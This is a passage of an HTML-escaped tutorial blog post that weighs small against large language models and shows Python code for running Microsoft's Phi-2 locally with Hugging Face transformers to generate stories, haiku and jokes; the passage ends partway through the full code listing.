&lt;p&gt;Firstly, neither model is inherently better - the choice between an SLM and an LLM depends on the specific application and requirements. SLMs are a good choice when size, cost, and speed are important considerations. LLMs are a better choice when high performance and complex capabilities are required. If a task at hand is quite narrow and in one of the supported languages, then SLMs might be good. However, for a given task, an SLM may be sufficient, but an LLM may be necessary for more complex tasks or tasks requiring high accuracy and fluency.&lt;/p&gt;
&lt;p&gt;Furthermore, it is key to understand that it is not necessarily about the number of languages understood but rather the depth and nuance with which each model can understand and generate language. SLMs are designed to be efficient and effective within their scope, which may include a wide range of languages. LLMs like GPT-4, due to their size and complexity, often can understand and generate text in a larger number of languages and with greater nuance.&lt;/p&gt;
&lt;p&gt;The choice between an SLM and an LLM would again depend on the specific requirements of the task, including the languages involved and the level of language understanding and generation needed. Using a combination of SLMs and LLMs is common to achieve the best results for a given application.&lt;/p&gt;
&lt;h2 id=&#34;4-running-phi-2-locally&#34;&gt;4. Running Phi-2 locally&lt;/h2&gt;
&lt;p&gt;On one hand, running this is simple if you just don&amp;rsquo;t want to program anything and only want to use the model. The easiest option in this case is to use [LM &lt;a
	
		href = &#34;https://lmstudio.ai/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Studio
	&lt;/span&gt;
&lt;/a&gt;, a web-based platform for running language models. You can use the Hugging Face API to download and run the model.&lt;/p&gt;
&lt;p&gt;We use a simple console chat example that runs locally. We use the Hugging Face Transformers library to generate text based on user input. The user can generate a story, a haiku, or a joke on a topic of their choice. Here is how to run it locally on a Windows machine - the same should apply to a Mac or Linux machine.&lt;/p&gt;
&lt;p&gt;The full code is below, but here are the key aspects to grok when running Phi-2 locally.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The key is to use the &lt;code&gt;AutoModelForCausalLM&lt;/code&gt; and &lt;code&gt;AutoTokenizer&lt;/code&gt; classes from the &lt;code&gt;transformers&lt;/code&gt; library to load the Phi-2 model and tokenizer.&lt;/li&gt;
&lt;li&gt;We then use the &lt;code&gt;generate&lt;/code&gt; method to generate text based on a user prompt. The &lt;code&gt;generate&lt;/code&gt; method takes the user prompt as input and returns the generated text&lt;/li&gt;
&lt;li&gt;We use the &lt;code&gt;from_pretrained&lt;/code&gt; method to load the model and tokenizer from the Hugging Face model hub.&lt;/li&gt;
&lt;li&gt;We also use the &lt;code&gt;save_pretrained&lt;/code&gt; method to save the model and tokenizer to a local directory. This allows us to load the model and tokenizer from the local directory if they are already saved, which can help save time and resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following code snippet is what loads the model and the tokenizer:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the model and tokenizer from Hugging Face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                            torch_dtype&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;auto&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                            trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                         trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And the following is where we encode the user input and call the generation. First, we create tokens of the user prompt; the resulting tokens are returned as PyTorch tensors. Then, the model generates text based on the tokenized input. We cap the tokens to a maximum of 500 tokens, and the end-of-sequence token is used for padding if necessary. Finally, the generated tokens are decoded back into human-readable text.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                   return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                   return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                   add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;inputs,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                         max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;500&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                         pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;batch_decode(outputs)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The full code is below. The code is a simple console chat example that runs locally. The user can generate a story, a haiku, or a joke on a topic of their choice.&lt;/p&gt;
&lt;p&gt;Some examples of what Phi-2 can generate using the above code are shown below. The first is a story about pandas and dogs.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-1.png&#34; alt=&#34;Story about Pandas and Dogs&#34;/&gt;
        &lt;figcaption&gt;Story about Pandas 🐼 and Dogs 🐶&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Here is another example of a Haiku and a Joke generated by Phi-2 on Pandas.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/phi2-2.png&#34; alt=&#34;Story about Pandas and Dogs&#34;/&gt;
        &lt;figcaption&gt;Haiku and Joke about Pandas 🐼&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Switching gears, let&amp;rsquo;s look at how we can implement the RAG using Phi-2.&lt;/p&gt;
&lt;h3 id=&#34;41-running-phi-2-locally---full-code&#34;&gt;4.1 Running Phi-2 Locally - Full Code&lt;/h3&gt;
&lt;p&gt;The following code is the complete code that executes the examples we showed before for running Phi-2 locally. This can work on a CPU, but it is very slow, and a good GPU is strongly suggested.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;warnings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; AutoModelForCausalLM, AutoTokenizer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DEBUG &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Suppress warnings and set the logging level to ERROR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;warnings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;filterwarnings(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getLogger(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;transformers&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;setLevel(logging&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ERROR)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Define the directory where you want to save the model and tokenizer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MODEL_PATH &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./local_model&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check if the model and tokenizer are already saved locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists(MODEL_PATH):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Loading model and tokenizer from local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;MODEL_PATH&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the model and tokenizer from the local directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Downloading model and tokenizer from Hugging Face&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the model and tokenizer from Hugging Face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;, torch_dtype&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;auto&amp;#34;&lt;/span&gt;, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Saving model and tokenizer to local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;MODEL_PATH&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save the model and tokenizer locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Model device: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;CUDA available: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available()&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the default device to CUDA if available, otherwise use CPU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cuda&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available() &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cpu&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;handle_prompt&lt;/span&gt;(user_input, type_of_text)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Instruct: Write a &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;type_of_text&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; about &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;user_input&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Output:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {name: tensor&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; name, tensor &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; inputs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items()}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;inputs, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;500&lt;/span&gt;, pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;batch_decode(outputs)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove the prompt from the output text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
